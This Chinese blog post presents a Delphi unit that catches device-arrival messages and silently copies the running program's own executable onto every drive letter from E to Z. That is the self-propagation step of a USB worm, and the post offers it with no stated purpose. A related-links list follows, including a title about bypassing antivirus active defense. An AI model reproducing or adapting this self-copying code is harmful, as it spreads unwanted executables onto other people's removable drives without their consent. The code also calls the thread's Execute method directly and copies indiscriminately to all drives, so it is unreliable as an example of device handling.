Delphi程序将自身可执行文件拷贝到U盘的代码

本文整理自网络，侵删。

 
unit Unit1;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;

type
  TForm1 = class(TForm)
  private
    procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
  public
    { Public declarations }
  end;
type
  TCopyItself = class(TThread)
    Msg: TMessage;
    procedure Execute; override;
  end;

var
  Form1: TForm1;

const
  DBT_DEVICEARRIVAL          =  $00008000;
  DBT_DEVICEREMOVECOMPLETE   =  $00008004;
  DBT_DEVTYP_VOLUME          =  $00000002;

// Device structs
type
  _DEV_BROADCAST_HDR         =  packed record
     dbch_size:              DWORD;
     dbch_devicetype:        DWORD;
     dbch_reserved:          DWORD;
  end;
  DEV_BROADCAST_HDR          =  _DEV_BROADCAST_HDR;
  TDevBroadcastHeader        =  DEV_BROADCAST_HDR;
  PDevBroadcastHeader        =  ^TDevBroadcastHeader;

type
  _DEV_BROADCAST_VOLUME      =  packed record
     dbch_size:              DWORD;
     dbch_devicetype:        DWORD;
     dbch_reserved:          DWORD;
     dbcv_unitmask:          DWORD;
     dbcv_flags:             WORD;
  end;
  DEV_BROADCAST_VOLUME       =  _DEV_BROADCAST_VOLUME;
  TDevBroadcastVolume        =  DEV_BROADCAST_VOLUME;
  PDevBroadcastVolume        =  ^TDevBroadcastVolume;

implementation

{$R *.dfm}

{ TForm1 }

procedure TForm1.WMDeviceChange(var Msg: TMessage);
var
  CopyItself1: TCopyItself;
begin
  inherited;
    CopyItself1 := TCopyItself.Create(True);
    CopyItself1.Msg := Msg;
    CopyItself1.FreeOnTerminate:=True;
    CopyItself1.Suspended:=False;
    CopyItself1.Execute;
end;

{ TCopyItself }

procedure TCopyItself.Execute;
const
  DBT_DEVICEARRIVAL = $8000; // system detected a new device
  DBT_DEVTYP_VOLUME = $0002;
  DBT_DEVICEREMOVECOMPLETE = $8004;  // device is gone
var
  I: Integer;
  DriveLetter: char;
  lpdbhHeader:   PDevBroadcastHeader;
begin
  inherited;
  lpdbhHeader:=PDevBroadcastHeader(Msg.lParam);
  case Msg.wParam of
    DBT_DEVICEARRIVAL: // or DBT_DEVICEREMOVECOMPLETE:
    begin
    Sleep(3500);
      for I := 69 to 90 do begin // to 90
        DriveLetter:=Chr(i);
        if (lpdbhHeader^.dbch_devicetype = DBT_DEVTYP_VOLUME) then begin
        CopyFile(PChar(ParamStr(0)), PChar(DriveLetter+':\'+ExtractFileName(Application.ExeName)), true);
        end;
      end;
    end;
  end;
end;

end.
//该代码片段来自于: http://www.sharejs.com/codes/delphi/8443
 

相关阅读 >>

Delphi xe7实现的登录窗体的正确用法示例

Delphi 突破主动防御

Delphi 让程序只运行1次

Delphi 静态数组的定义方法

Delphi中使用自定义字体

Delphi 怎样判断windows的dpi大小？

Delphi unigui确认对话框

Delphi 批量日期格式化

Delphi源码基础源码-按下回车取得焦点

Delphi判断exe文件是否正在运行的函数

更多相关阅读请进入《Delphi》频道 >>

转载请注明出处：木庄网络博客 » Delphi程序将自身可执行文件拷贝到U盘的代码